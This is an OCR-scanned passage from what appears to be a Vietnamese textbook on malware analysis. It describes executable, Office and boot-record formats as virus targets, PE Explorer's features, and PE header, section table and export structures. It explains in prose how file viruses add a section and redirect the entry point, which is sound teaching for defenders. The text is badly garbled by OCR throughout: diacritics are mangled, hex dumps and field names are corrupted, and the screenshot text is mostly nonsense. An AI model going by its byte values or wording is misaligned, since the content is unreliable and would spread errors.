file DOS-EXE. Phan tht hai 1a céu trac dau file NE-EXE dinh vi ¢ dia
chi 0080h, 13 gid tri c6 trong trudng 3C cua DOS-EXE. Pau NE-EXE
header 1a chudi nhan dang ‘NE’.
Pinh dang NE-EXE c6 dic diém nhan dang nhu sau:
- Mang dac trung ctua dinh dang DOS-EXE
- Truong 3C trong cau trac dau file tro dén ciu trac dau file thihai
- Hai byte dau tién cta cau trac dau file thithai c6 gia tri4E va 45 (‘NE’)
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00000: 4D 5A 7501 01 00 00 00 04 00 00 00 FF FF 00 00 /15A4D = MZ: dau hiéu EXE
00010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 0000

00020: 00 00 00 00 00 00 00 00 00 00 00 0000000000

00030: 000000 00000000 000000 000080000000 //D0BO: dia chi NE header

00080: 4E 45 053C 1501 1B 00 00 00 00 00 0103 03 00 [1454E = NE: dau hiéu NE-EXE
00090: 0014 0028E273 0100000003 00030004 00 llcac tham s hé thdng danh cho
000A0: 100040005800 A3 00 F6 00 FECO BOO1 00 00 /fméi trwrérng Windows 16 bit
000BO: 04 0004 0000000208 1E 00 BE& OB 00 00 0A 03

Hinh 2-7: Ciu trac dau file mot tap tin NE-EXE tiéu biéu

Phan tiép theo s& mo ta cach nhan dang céc tap tin thi hanh trong moi
truong Windows 32 bit, cac Portable Executable file.
2.1.2.4 Dinh dang PE-EXE
Trong HPH Windows 32 bit, EXE duogc thiét ké lai dé phu hop véi co
ché dinh vi bd nhd phang (flat memory). Portable Executable (PE-EXE)
goém 2 nhom:
e Cac ung dung chu(host application): tap tin thi hanh EXE, OBJ,
SCR...
« Mo rong cua tng dung (application extension): gém cac thu vién lién
két dong DLL (Dynamic Link Library), diéu khién thiét bi SYS (system
driver), cac tmg dung diéu khién CPL (Control Panel Applet), OCX
(OLE Control Extension)... Mic du chira mi 1énh nhung cac t6 chuc
nay khong ty thyc thi. Ching duoc goi tir cac g dung chu

00000: 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 /I5A4D = MZ: d4u hiéu EXE
00010: B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00

00020: 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00

00030: 00 0000 00 00 00 00 00 00000000 EO 00 0000 /fOOEQ: dia chi PE header

000EOD: 504500004C 0103002084 7D 3B 00000000 {14550 = PE: dau higu PE-EXE
000F0: 00 00 0000 EO QO OF 01 0B 01 07 0000 56 00 00
00100: 00 0A 0000 0000 00 00 B3 5B 00 000010 00 00
00110: 00 70 00 00 00 00 00 01 00 10 00 00 00 02 00 00

Hinh 2-8: Cau trtc dau file mot tap tin PE-EXE tiéu biéu
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Gidng nhuNE-EXE, PE-EXE 1a vat chu cua file virus, sau may tinh va
trojan horse. Pac trung nhan dang cua PE-EXE ciling tuong tu NE-EXE
nhu hinh.
- Mang dac trung ctuia dinh dang DOS-EXE
- Truong 3C trong cau trac DOS-EXE tro dén ciu tric dau file PE-EXE
- Hai byte dau tién cua file header c6 gia tri50h va 45h (‘PE’)
CAu truc dau file PE-EXE chua céc dic trung thi hanh cua di tuong:
FileSize, FileType, FileAttribute, MachineWord, NumberOfSections,
TimeDateStamp,SizeOfOptionalHeader,Characteristics,MajorLinkerVer
sion,MinorLinkerVersion,SizeOfCode,SizeOfInitializedData,SizeOfUnit
lalizedData,RelativeVirtual Address,BaseOfCode,BaseOfData,
BaseOfRVA, ImageBase, SectionAlignment, FileAlignment,
MajorOSVersion,MinorOSVersion,MajorlmageVersion,
MinorimageVersion,MajorSubSystemVersion, MinorSubSystemVersion,
SizeOflmage,SizeOfHeader,FileChecksum,SubSystem,
DLLCharacteristics, SizeOfStackReserve,
SizeOfStackCommit,SizeOfHeapReserve,SizeOfHeapCommit,
LoaderFlags,NumberOfRvaAndSize,VirtualSize,Virtual Address,
SizeOfRawData,PointerToRawData,PointerToRelocation,
PointerToLineNumber, NumberOfRelocations,
NumberOfLineNumbers, AddressOfEntryPoint...

2.1.3 Tap tin Office

Cac tap tin tu liéu (document files) 1a cac tap dir liéu nguoi dung bo céng
cu Microsoft Office (Bang P2.4). Pay la ddi tugng l1ay nhiém cua virus
macro, loai virus st dung tap 1énh macro VBA (Visual Basic
Application) ctia Microsoft. Ngoai ddi twong lay nhidm chinh 1a cac tap
tin DOC, XLS va PPT; céc tap tin template va add-in cling 1a noi “tra
ngu” rat tot cho virus macro. Luu trir nhiéu ddi twong nhing phtc tap
(hinh anh, am thanh, bang biéu, d6 thi...), cac tap tin Office thudng rat

16n (vai trim KB dén hang chuc MB). Dé tién truy xuit, Microsoft to
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chtrc cac tap tin ndy theo don vi paragraph 512 byte. Dic diém nhan
dang céc tap tin nay nhu sau:

- Kich thudc tap tin 1a boi sb caa 512

- Chubi nhan dang dau file: DO-CF-11-E0-A1-B1-1A-E1-00-00-00-00

Tap lénh *ng dung Kiéu Mé ta
DOC | Tw liéu van ban
i ft Word ¥ in ba
icrosoft Wol DOT Khudn dang van ban

Microsoft Word Add-in

XLS | Tw ligéu bang tinh

WBA macro Microsoft Excel XLT Khutn dang bang tinh

XLA Microsoft Excel Add-in

PPT | Tw liéu trinh dién

Microsoft PowerPoint POT | Khudn dang trinh dién

PPA Microsoft PowerPoint Add-in

Hinh 2-9 : Cac tap tin MsOffice ¢ thé bi nhiém virus

2.1.4 Tap tin khéi dong

Trong kién trac may tinh IBM-PC, mau tin khai dong (boot record)
(MTKD) 14 céc t6 chire thuc thi trén cac don vi luu trir cia thiét bi nho
ngoai (Bang P2.5). Nhiém vu cia MTKD 13 khoi tao cac thong sb ki
thuét cua thiét bi va thuc hién cac tién trinh xur Iy tiép theo. C6 hai loai
boot record: MTKD dia cing (master boot cua dia cting) va MTKD hé

diéu hanh (boot sector cua dia cing va dia mém).

Mau tin khéi déng | Vat cha Vi tri Nhiém vu
- Phan tich théng sb ky thuat cac phén
. Sector 1, khu ludn Iy
ﬂ;ﬁgted‘lr‘abggag Bia cirng | track 0, - Tim va tai boot sector cla phan khu
side 0 hoat ddng vao bd nhd

- Trao quyén cho boot sector

- Phan tich thdng s6 phan khu dia cirng

Phan khu | Sector 1, hoat déng
hoat déng | track 0, - Tim va tai cac tap tin khdi dong hé
dia cimng | side 1 diéu hanh vao bd nhé

MTKD hé dieu hanh - Trao quyén cho hé diéu hanh

boot sect 5 &
(boot sector) - Phan tich théng sb dia mém

Sector 1, . s izi s im 4 v an .
Bia mém track 0, - T.'En va tai cac taP T.II'I‘th‘I dong hé
side 0 digu hanh vao bd nhé

- Trao quyén cho hé diéu hanh

Hinh 2-10: Céc t6 chtrc khoi dong co thé nhiém virus

48



2.1.4.1 Mdu tin khéi déng dia cirng (master boot)

Mbi 6 dia climg c6 thé dugc chia tach luin 1y thanh cic phan khu
(partition). C6 tdi da bén phan khu cho mdi 6 vt 1y, nhung chi c6 mot
phan khu dugc chon lam phan khu hoat dong (active partition), 1a phan
khu chtra hé diéu hanh cua hé théng.

Master boot:
- Binh vi cac phan khu dia cirng
- Tai boot sector hoat déng

Cac sector rdi

Boot sector hoat déng:

- Céc lénh khdi tao bd nhdé

- Binh vi, tai cac file hé thong

- Trao quyén cho hé diéu hanh

Thw muc goc (Root Entries)

Vang dir ligu
(Data Area)

Hinh 2-11: T6 chuc dia ctng trudc khi nhiém BootVirus

Boot virus:

- Cac lénh khdi tao virus

- Binh vi, tdi master boot gdc

- Trao quyén cho master boot géc

Master boot (goc)

Boot sector hoat déng:

- Cac lénh khdi tao bd nho

- Binh vi, tai cac file hé thong

- Trao quyén cho hé diéu hanh

Thw muc goc (Root Entries)

Ving diF ligu
(Data Area)

Hinh 2-12: T6 chuc dia ctng sau khi nhiém BootVirus
Mau tin khoi dong dia cing c6 nhiém vu phan tich cac phan khu dir liéu,
tim va tai boot sector trén phan khu hoat dong cia dia ciing vao by nhé
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roi trao quyén cho né. Hinh minh hoa céu tric dia ctmg, vi tri va vai tro
cua cac MTKD.

Hinh mé ta hinh anh 6 dia cing nhiém boot virus, loai 14y vao master
boot.

2.1.4.2 Mdu tin khéi déng hé diéu hanh (boot sector)

Boot sector ¢6 trén moi dia mém va cac phan khu dia cimg. Khi nhan
quyén tor master boot (hoac khdi dong may tur dia mém), boot sector sé€
tim HDH, nap vao bo nhd rdi trao cho HPH tiép tuc qua trinh khoi dong.
Hinh minh hoa céu trac dia mém, vi tri va vai trd cia MTKD hé diéu
hanh trén dia mém. Hinh Xxx md ta hinh anh dia mém nhiém boot virus.
Vi du nay cling dung cho truong hgp boot virus 1y vao boot sector cta

dia cing.

Boot sector

- Cac lénh khdi tao bd nhéy

- Binh vi, tai cac file hé thong

- Trao quyén cho hé diéu hanh
Bang dinh vi tap tin

(FAT 1, FAT 2)

Thw muc goc (Root Entries)

Vung dir lieu
(Data Area)

Hinh 2-13: T6 chic dia mém trude khi nhiém Virus
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Boot virus

- Cac lénh khdi tao virus

- Binh vi, tai MTKD goc

- Trao quyén cho MTKD goc
Bang dinh vi tap tin

(FAT 1, FAT 2)

Thu muc goc (Root Entries)

MTKD goc

Vung dir liéu
(Data Area)

Hinh 2-14: T6 chic dia mém sau khi nhiém Virus

2.2 Cau truc chi tiét dinh dang PeFile

Nhu di théng ké trong chuong 1 hién nay mé doc trén hé diéu hanh
Windows 32bit vAn pho biét nhét, hién nay c6 rat nhiéu nhom chuyén
viét ma doc trén Windows Xp, Windows 7, Windows Server. Va dinh
dang pho bién ctia ma doc nay thuong & dang PE file. Vi thé sinh vién
can hiéu dinh dang nay dé giup ich cho viéc hiéu va phan tich ma doc
sau nay. Dudi day 1a tén mot s cong cu gitip ich cho sinh vién phan tich
dinh dang Pefile.
Cong cu PE Explorer — Chuong trinh chay trén moi truong Windows.
Chtic nang cu thé phan mém ndy c6 thé gitip ngudi phén tich:
Doc, xem va chinh stra néi dung trong dinh dang PE file, nhu EXE, DLL,
Active X Controls, SCR,CPL, SYS, MSSTYLES, BPL, DPL..
Ho trg 1am viée phan tich véi céc file bi 16i trong ché d6 SafeMode
Ho trg tinh ning kiém tra tinh toan ven cta PE files
H) tro tinh niing sira gid tri Entry Point
Chinh stra cac thudc tinh cua file EXE va DLL file
HO tro gidi nén UPX, Upack, NSPack
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_1:| Address of Entry Paint: (00447380 o Feal Image Ch
Field Mame Data Yalue D escription

b achine

Murnber of Sections

0008k

o | B X ™ E O P>

| B || =

Time Date Stamp . 46410DF7h [08/05/

Entry Point O T 3 D

Dl Marme : firefox. exe
004DE735h 13 | Exported Functions  : 570
002CAa728h 14 | Exported Mames : &B70

O02CCEESh 16 | Pointers to Entrp Point . 00157FBEh

O08CC9RER 16 Painters to Name - 001588400
E 4DAFD3H 17 Puainters to Ordinal : 00155188k
| | 770nsR ect@@UAE @A UNsPointG

- lzar Entry IIIT
=] Feriu

B Menu: 106

004DEBO0SH 19

0Nz ech@EQAE GHHHH S

Edit [View | Help

Library description: D escription nat available

= 107

=] 108 Standard
-2 109 Scientific
Dialog
Sting Digit grouping
Accelerators

Syntax Details
Undecorated C++ Function:
public: _ thiscall nsRect::nsRect(struct nsFo

_=_-Lr”__ﬂ

M1011F19 GB2C020000
01011F1E
[1011F1F

puzh
puzh
call
teszt
MEE iz

01011F;
01011F26

oonoo22ch

Bak
inp,
o

LO1011F56

1 E]D firafos, exe
B jsazs0 i
ﬂ wpoom_core.dll

i a rzprd.dll

ELL32.d11!5HELL32. 245

Hinh 2-15: Tong quan chuong trinh PeExplorer

Mot s6 tinh ning quan trong nhu céc thong tin vé Export, Import va

Delay Import Table cho phép ngudi phan tich co thé thiy toan bd cac

ham bén ngoai ma File thuc thi s dung (cac file DLL ma file goi dén).

Mot tinh nang kha tién dung hitu ich 1a Syntax Viewer, chic nang nay s€

hién thi cach thuc goi cac ham trong file PE. Man hinh chinh chuong

trinh PE Explorer Export Analyzer nhu sau (chtrc nang Quick Function

Syntax Look)
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— Syntax Description Editor for adding custom cormments, —Export Properties display the details

altering walues or creating new library description for the currently selected function
£/ PE Exglorer - CATEST\firefox.exe E=SE
File  Miew  Tools  Help

B W AR (@ENRE AR e Y| e

J | K&

el Tirne O ate Stamp o AEAT00F7h [08/05/2007 23:55:35]
. Wer i A

Eniry Paint | Ord Dl Mame . firefox.exe L\\S
0040B735h 13 | Exported Functions 570
00BCA724h 14 | Exported Mames T
OOSCCEEIR 15 | Pointers to Entre Point © 00157FBEh
008CrC9esh 16 | Pointers to Mame . 00153340k
O040AFD3R 17 Fointers to Oidinal o 001559188h
0D4DAFEER | 18 ‘
0o40E0080 19 T0nsRect@E0AE EHHHHEZ i
Library description: Dezcription not available

Syntax D etails
Undecorated C++ Function:
public: _ thiscall nsBect::nsRect(struct nsPoint const z,struct ns5ize const z)

For Help, press F1

Log Window displays notes, messages, errors, — L Pararmeters, return walues, caling conventions are conveniently
warnings, or status of each task displayed for you in the Syntax Details window

Hinh 2-16: Man hinh hién thi PE explorer
Tuy chon Resource Editor
Tuy chon Resource Editor giup ngudi phan tich c6 thé nhin thay toan bo
cac thong tin vé bitmaps, jpeg,... va cho phép nguoi phan tich c6 thé sta

lai thong tin ma khong can phai bién dich lai ma ngudn.
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—Saye multiple resources at once

' — Resource properties display the detais
— tpresij'mﬁ RESIUl-'thE'J? Editor button for the currently selected resource
0 edit the selected resource
&/ PE Eixplored - CATESTh\explorer.exe |EIE|&J

Fle  |Wiew | Tools  Help

A W @BE PR E e AR TR e

= ” = X - @ @ E\ Language : LAMG_EMGLISH LS
KU - Type © Wista lcon Entry - 256x256
Bitmap Faw Size : 53308 bytes

eckzunz O01104B8h # Real Checkzun: 001104881

For Help, press F1

Hinh 2-17: Man hinh hién thi chirc ning Resource

Tuy chon Section Headers Viewer

PE Explorer cho phép ngudi phan tich co thé xem dugc sd luong cic
sections, tén cac sections, kich thudc va cac thong tin thude tinh. Nguoi
phan tich c6 thé trich xudt, ddi tén, tinh toan lai cho phu hop, cé thé xda
cac sections di tir than chuong trinh
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&) PE Explorer - CATEST\explorer.exe

File Wi Toolz Help

- W e EE

PR A A S| FE® @

FRl= B S HE e it
MHame Wirtual Size Wirtual Address

0000400
00000440
oo
Qoo
000
000
(000
000
anoo
anoo
oo
Qoo
000
000
000
anoo
anoo
oo
oo
Qoo

01001000

(1001040
Altun

.1u-t L

4 B
on
oo

a5 11
i
i
oo
oo 4n
oo 4n
oo 4
oo &

oo &
oo &
oo &
o &
oo &
00 &
oo o1 0o
oo o1 0o
oo o1 0o
oo 0100
oo 0100
oo 0100

05 0
oo
0o
0o
40
a0
a0

0005A400
0005A4ED
0005A4F0

For Help, Pree
DDDEH

F4 - TEXT/HEX

iy
iy

Size of Raw Data

03 B0 05 M
00 o0 oo oo
00 oo oo od
g 1E 00 00
o0 oo o

00 00 oo

00 00 oo

00 00 oo

00 oo oo

00 oo oo

00 oo oo

00 oo oo

00 00 oo

00 00 oo

00 00 oo

00 oo oo

00 oo oo

00 oo oo

00 oo oo

00 oo oo

00 00 oo

00 00 oo

(0 00 00

Painter to Raw Data

lui'hlt-lll L :

00 oo oo oo
00 oo oo &0
0111

04 FE
04 FF
04 FF
04 FF
04 FE
04 FF
04 00 F3

040001 5

04 00 FF
04 00
04 00
04 00
04 00

R&w Size: 00001200h; Vitual Size: 00002680k

Charactenstics

Painting Directones

|mport Table: Debug Data; Load

ezource Table
elocation Table

1

't be deleted).
ories [May be deletec
Heleted)

4

L

-’-’-’-’-’-*-‘-’-’-’

ng 2] gu
Al w4 Tl
HlH ]

H P pha |

e

Hinh 2-18: Man hinh hién thi Section Headers Viewer

Tuy chon Section Editor

Vi¢ce khoéi phuc lai gia tri ban dau cua section (gié tri offset trong dit li¢u

that) trong file khong phai 1 viéc don gian. Trong nhiéu truong hop viéc

khoi phuc nay con phu thudc vao cam tinh va phai dua céac diéu kién gia

thiét méi co thé khoi phuc duge. Nhung cong viée ndy co thé thuc hién

tu dong dugc nho tinh nang Section Editor nay.
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Yalues reported by The Repair button allows you to automaticaly  The Restore All button dlows you to restore
the Section Header place flags, according to recormmended values all the values modified during editing —
for the section of the given type

) PE Explorer Sertion Editor: <.rsrc>

Header report:

Section Mame Wirtual Size | Virtual Addr | Size of Raw Data | Hdr Pir to Raw Dath Characternistics [ Fret
1sIc O00ATE75h | O1OSEOOOH | DOOATCO0H O00SEE00H O005EE00R 40000040k \_ES ore
Cumrent values:

Section Alignment 00001000k | Apply tepical <Charactenstics: from; |_ Repair ‘ Charactenstics: BO0000Z0H
File Alignment - 00000200k _

Typical <Characteristicss setfings : S0000040n | Section type | CODE M Restare

—image_scn_cnt_code

Section Mame Wirtwal Size | Wirtual Addr Size of Raw Data
L2l O00ATE7S  OOSEOODD  O00&TCO0 ﬂunnaasnn |T

(105E000
M10SEDID 02 00 00 00 5
2 0E 00 00 00 8

10 00 00 00
i on

<5ize of Raw Data> Calct]lazc_:-r

Filealignment  |D0000200

0105E0RD SizelfR awData (00021C00 =
[10SEORN
[10SEQCO - .
[05EQDD Mew Size0fRawData  Yalue™ PairterToR awD ata

LIsEDE) [000A1COO | = [booFDzo0 | - [Do0SEEDD |

*Walue: Next pointer to Raw Data

—image_scn_mem_execute
—image_scn_mem_read

DE]EJUI_IUI_IUI_II_IUI_IIJI_IIJI_III_IIJI_IIJI_IIJI_II_IIJI_IEIDDDDD

[ 0K H Cancel |

30 to origingl Pointer L File image dump = The Calculator helps you calculate Section’s characteristics -
to Raw Data bronwser the Size of Raw Data value wiEner

Hinh 2-19 : Hién thi THONg tin Section Editor
Tinh nang Disassembler

PE Explorer Disassembler 1a mot tién tich dua file PE vé dang ma
ngudn Assembly.
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This button swaps one of 4 views
with the main window (and back again)

iew Disassembly Statistics Display selected addresses from the
Copy selected text from {disassembly listitng in one of 4 views

the listing to the clipboard

) PE Explorer Disgssembler - <CATEST\explorer.exe lﬂ@l_s:—hj
Fil= Edt  Sedch  Wiew Mavigate Help

U| Hl -Jl a0 %tr* %tr* I§ir~ Eifr* IJFSl |:|/- "J] @'Eh' L= @@| |:D| o
01011F19 20000 3 ; o
01011F1E 50 o
01013F1F
01011F24
010

Problemn and Messages List
cted OPCODE I ¥

010
010

[ebp-04h] , 00000001k
d11!GetHoduleHandled]

. d111GetProchd Name List
LOMHAFS3:
push =

Unprocessed data | Stings | Wiew 1 | Wiew 2 | View 3 | View 4

1
anp*, 0000k
HithHindou® ] 0000k
ratefrocess*, 0000k
obl ey ®, 0000k

33004 EP: MO11F26h Ready ... 00:00:00 20:26:50 20.12.2008

The status line displays the current position of the cursor, |
the address corresponding to the cursor position, the current status, the time spent
by the last operation, the current time and date, and the progress indicator for writing the listing to a file.

Hinh 2-20: Hién chirc ning PE Explorer Disassembly
Tinh ning Dependency Scanner
Dependency Scanner hiéu thi toan bd cac file DLL ma file PE goi dén
khi thuc thi.
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— Faor each module found, it lists the full

Load selected module to PE Explorer provides
a means to examine a particular linked module path to the file and the wersion information
$) PE Explorer Dependency Scanner - CATEST\firefox.exe Iﬂlﬂli_hj
Fil= Help
V| B Wl e
=45 firefox. exe . ]
= o Path: C:\windowshsystern32hwersion. dll
[ ﬂ je3250.dl )
-8 wpeom_core.dl Wersion Info
0 nsprddi Info: V5 VERSION INFO -
Bl smime3. di Signature: FEEF04BDh
i ﬂ ss13.dl Struc Version: 1.0

File Wersion:
Product Wersion:

ﬂ nizsd.dll

-0 wpeom_compat.d

+a comdlg32.di File Flags Mask: 0.63

-0 shell3z.dl File Flags: L

5 B ozl File 0S: NI (WINDOWS32) 3

-8 oleautzz di File Type: DLL

+ File SubTIype: UNEMOWN

: . File Date: ga:00:00 0070070000

+ﬂ winzsposl dry

T'"ﬂ kemel32.dl Struc has Child(ren). 5ize: 876 bytes.

+a uzer32. dil

-4 gdizzdl Child Type: StringFileInfo

-8 advapi32.di Language/Code Page: 1033/1200

+ﬂ msver.di CompanyName : Microsoft Corporation

o ﬂ plcd.di FileDescription: Version Checking and File Imatallation IJ

- pldsd d FileVersion: 6.0.6001.18000 (longhorn rtm.020118-1840)
InternalName: version i
4 m 3

[7] Always Fescan QK

6.0.6001.18000
6.0.6001.18000

B - Import (module found),

B - Import (module not found/open file errar).

Hinh 2-21 : Hién thi tinh ning Dependency Scanner

Trén dy 1a mot so tinh ning co ban PE Explorer, phan tiép theo s& mo

ta k¥ dinh dang PE file,
2.2.1 Dinh nghia PE

PE viét tit cia Portable Executable 1a mot dinh dang file cho céc file
exe, Object code, dIl trén hé diéu hanh Windows 32 bit. Dinh dang PE

file 1a mot cu trac dir liéu trong do chua cac thong tin can thiét dé

loader ciia Windows c6 thé quan 1y va thuc thi dugc cac 1énh trong do.
Pinh dang ndy dugc phat trién dua trén dinh dang UNIX COFF
(Common Object File Format), hién gio phdn m¢ rong cua PE file c6

dang nhu sau: exe, dll, src, bpl, dpl, cpl, ocx, acm, ax.
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2.2.2 Cau truc PE file

Céu trac chung cta 1 PE file thudng s& c6 2 Sections: 1 14 cho doan ma
(code) va 1 cho phan dit liéu (data). Mot chuong trinh Gng dung chay
trén nén tang Windows NT c6 9 sections dugc xac dinh trudc co tén
nhu: .text, .bss, .rdata, .data, .rsrc, .edata, .idata, .pdata va .debug

MS-DOS MZ HEADER l

MS-DOS REAL-MODE
STUB PROGRAM

PE FILE SIGNATURE
PE\0\0

PE FILE HEADER

IS1C section

D

Hinh 2-22: Cau tric PE file

2.2.2.1.Dos header

Vung nay chiém 64 bytes dau tién cua file. Trong ving ndy c6 2 gia tri
quan trong la e magic(0x5a4b) va e Ifanew 1a mot DWORD( 4bytes),
gia tri nam trong 4 bytes nay chura offset dén PE file header( offset 3C).
2.2.2.2 PE header

Pau tién windows loader s& doc & phan MZ header gia tri e magic
nham xem file c6 hop 18 hay khong. Tiép theo windows loader s& doc gia
trj e flanew, windows loader s& bo qua ludn phan dostub va nhay dén PE
header.
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PE gom 3 thanh phan duoc dinh nghia trong file windows.inc: signature,
fileheader, optionalheader

Signature 1a mot DWORD ludn c6 gia tri 0x4550, nhin tur gia tri cua
e_flanew.

Fileheader gom 20 bytes tiép theo chira thong tin vé so dd vat li va
nhirng dac tinh cua file

Optional header gdm 224 bytes tiép theo, chtra nhitng thong tin vé so
d6 logic bén trong cua PE file.

File header

Nhitng thong tin quan trong bén trong la numberofsection va
Characteristics.

Numberofsection thay ddi phan niy néu nhu mudn thém hodc xoa
Section trong file PE( cac ma doc quan tim dén truong nay vi du nhu
tang truong thém 1 sau do chén thém than cua nd vao trong section nod
khai bdo thém nhu vay ma doc da chiém duoc file).

Characteristics bao gom céac cd xac dinh nhiing thé hién dé ching ta
lam viéc 1a mot file thuc thi(executable) hay mot file DII.

Ta c6 thé x4c dinh céac vi tri nay bang cac cong cu nhu Hex, hodc Peid,
LordPE...

Optionalheader

Céc thanh phan quan trong bén trong Optionalheader

AddressofEntryPoint

RVA( dia chi 4o tuong déi) ctia cau 1énh dau tién, nd tro vao dau
thi d6 1a cau 1énh dau tién cua chuong trinh dugc loader cua h¢ diéu
hanh. Néu mot file nguyén thé thi s& tro toi diém dau tién chay that cua
chuong trinh nam trong section .text hay code(diém chay nay goi la
OEP: Original EntryPoint).Dbi voi 1 file virus quan i, n6 s& thém 1
section .text vao sau d6 cho truong tro vao virus body. Pay 1a mot trong
nhimg trudng quan trong vi trudng nay sé thay doi hau hét cac kiéu lay
nhidm virus dé tro t&i diém thuc thi thue sy cta virus code.

ImageBase dia chi nap dugc uu tién cho PE file, Windows loader

s€ cO gang anh xa vao vung nhd 4o cé dia chi bat dau tai Imagebase. Cau
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lénh khoi dau trén bo nhd 4o co dia chi:OEP( tro dén cau lénh khoi
dau)+image.

SectionAligment khong gian cta section trong bd nhé 4o, file thuc
thi duoc anh xa 1én bd nhd 4o thi s& bat dau 1a boi sb cia gia tri nay,
thuong nhoé nhat 14 0x1000.

FileAligment d0 rong cta section trén file s& 1a boi sd cua trudng
nay( vi du FileAligment ¢ gia tri 0x200-> section tiép theo s& bit dau
thi tai vi trf truéc+0x200 hay mot tich ctia 0x200 voi mot sé nguyén).

SectionofImage bang size cua tat ca cach header+ dung luong that
clia cac section lién két trong truong sectionaligment.

Sizeofheader kich thudc ciia tat ca cac header+sectiontable.

DataDirectory mdt mang 16 IMAGE DATA DIRECTORY mbi
phan c6 lién quan dén cau trac dit liéu trong PE file nhu import address
table.

Ta c6 thé quan sat cac thanh phan nay trong Peid, LordPE....

P T T,
Basic Information
EntryPoint: | 00001000 SubSystem: 0002
ImageBase: | 00400000 MumberOfsections: (0003
Size0flmage: | 00004000 TimeDateStamp: | 4A025EF5
BaseOfCode:; | 00001000 SizeOfHeaders: | 00000400
BaseOfData: |00002000 Characteristics: |010F
SectionAlignment: | 00001000 Checksum: | 00007434
FileAlignment: | 00000200 SizeOfOptionalHeader: |00ED
Magic: |010B NumOfRvaAndSizes: | 00000010

Hinh 2-23 : Quan sét vi tri cac thanh phan voi PEid
Chiém 128 bytes cudi cung trong Optionalheader va lan lugt 14 nhiing
thanh phan cubi cung ctua PE header IMAGE _NT HEADERS.
Céu truc trong data directory gom c6 2 thanh phan ma bao gdm thong
tin vé vi trf va kich thudc 1a virtualaddress va isize.
Virtualaddress 1a mot dia chi 4o tuong ddi cua ciu trac dit liéu.

Isize bao gdm kich thudc theo byte cuia cau tric dif liéu.
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2.2.2.3 Section table

La thanh phan tiép theo sau PE header. N6 1a mdt mang cua nhiing ciu
trac IMAGE_SECTION HEADER, mdi phan tir sé chita thong tin vé
mot section trong PE file( vi du nhu thudc tinh ctia né va virtual offset).

Céc thanh phan quan trong trong section table

Name tén chi mot nhin hodc c6 thé tréng.

Virtualsize( DWORD) kich thudc cua section sau khi dugc nap vao bo
nhd.

Virtualaddress RVA cua section, trinh PE loader s€ phan tich va st
dung gid tri trong truong hop khi né anh xa section trong bd nhd.

Sizeofrawdata kich thudc cua section trong file trén dia.

Pointertorawdata( raw offset) thanh phan nay 1a offset tir vi tri bat dau
cta file cho t6i phan section’s data. Néu co gia tri 0, thi section’s data
khong dugc chira trong file va sé khong bi bo budc va thoi gian load.

Characteristics bao gém cac cO executbale code, initialized data,
uninitialized.

[ Section Table ] =
M arne WO ffzet WSize R Offzet RSize Flags
rdata Qo002000 Qoooo0s2 Qo00oe00 Qo00oz00 40000040
.data Q0002000 Q0000034 Qo00oa00 Q000o0z00 Coooo04o

Hinh 2-24: C&c gia tri trong bang section table
2.2.2.4 PE file section
La nhiing section chtra noi dung chinh cia file, bao gdm code, data,

resources va nhimng thong tin khac cua file thuc thi. Mdi section c6 mot
header va mot rawdata( dir liéu chua dugc xir 1i hodc chua dugc dinh
khuon thuc, né chua duoc sép xép, bién tap stra chira hodc chua dugc
biéu dién dudi dang dé tim kiém). Nhiing section header thi dugc chira
trong section table.

Mot chuong trinh (mg dung dac thu trén Windows:

Executable code section la cac doan ma( code segment) tap trung

vao mot section don 1¢ .text hodc Code. Tir khi widows chuyén sang st
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dung mot hé théng quan li bd nhd 4o trén trang, thi ¢c6 mdt section code
16n hon dé& dang hon trong viéc quan 1i v6i hé théng didu hanh. Section
nay ciing 1 diém entry point va bang jump thunk table tr6 t6i IAT.

Data section chtra section .rdata biéu dién dit liéu chi doc( read-
only) vi du nhu cac chudi, hang, thong tin...tit ca cac bién khac ngoai
bién ty dong ma chi xuat hién trong stack thi dugc luu trit & section .data.

Resources section section .rsrc chira thong tin resource cho mot
module, 16 bytes dau tién gom mot header gidng nhu cac section khac,
nhung dir liéu cta section ndy duoc cdu tric vao trong mot resource tree
va dugc quan sat bang resource editor.

Export data section section .edata chira Export Directory cho mot
chuong trinh tmg dung hoic file dll. Khi biéu dién, section nay bao gém
cac thong tin va diac chi ctia nhitng ham exported function.

Import data section .idata chtra nhitng thong tin khac nhau vé ham
dugc import directory va bang import address table.
2.2.2.5 Export section

Section ndy co lién quan dén cac file DIl. Cac ham c6 thé duoc export
thong baoi 1 DIl theo 2 cach “ by name” hoac “ by ordinal only”.

Vi tri bat dau trong bang Data Directory  signature+78”.

Cau trac export dugc goi la IMAGE EXPORT DIRECTORY, bén
trong cau triic ndy c6 cac thanh phan quan trong sau:

Name internal name cua module

nBase bit dau ldy s6 tht tu hay sé chi sd( truong ndy duoc st dung dé
lay nhiing index trong address-of-function array).

NumberOfFuntion téng s6 cic ham ma duoc export béi module.

NumberOfName s luong cic symbols dugc export bang name, gia tri
nay khong phai 12 s6 lugng cua tat ca cac ham/symbols trong module. Dé
14y dugc con sb nay ta can phai kiém tra NumberOfFuntcion.

AdressofFuntion mdt RVA tro t61 mang cua cac con tro téi cdc ham
trong module Export Address Table( EAT).

AdressofName mot RVA trd téi mang cua cac RVA cua tén ham duoc
luu trong module Export Name Tabel( ENT).
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AdressofNameOrdinals mdt RVA tro té61 mang 16 bit ma chira cac
ordinals cua cac named fuction Export Oridinal Table( EOT).

Trong cdu traic IMAGE _EXPORT DIRECTORY tr6 t6i 3 mang
va mot bang nhitng chudi ki ty ASCIL. Mang quan trong 1a EAT, viné 1a
mdt mang cuia cac con tro ham ma chira dia chi cua cac exported
function. Hai mang (ENT va EOT) chay song song theo tht tu sap xép
tang dan duya trén tén cla cac ham dé mot phép tim kiém nhi phan c6 thé
duoc thue hién va s& dua két qua la s6 thir ty cua ham d6 duge tim théy
trong mot mang khac. S6 thi tu chi 1a mot chi sb bén trong EAT.

IMAGE_EXFPORT
_DIRCTORY

Crther Figlds

——>"F00 DLL"

Export Address Table [RVAS)

MumberOfFunctions=4 % I e~

MumberCitames=3

AddressOfF Narne 1 Wams 2 “Bar"

AU 2ol AT S T3b|e

Tahle

Hinh 2-25 Cau tric Export Table

Céac ham duoc export bdi 1 dll theo 2 céch:

Exporting by Ordinal Only: NumberOfFuntion phai c6 it nhat 1a
bing v6i NumberOfName, tuy nhién mot vai truong hop thi
NumberOfName lai it hon NumberOfFuntion. Khi mot ham dugc Export
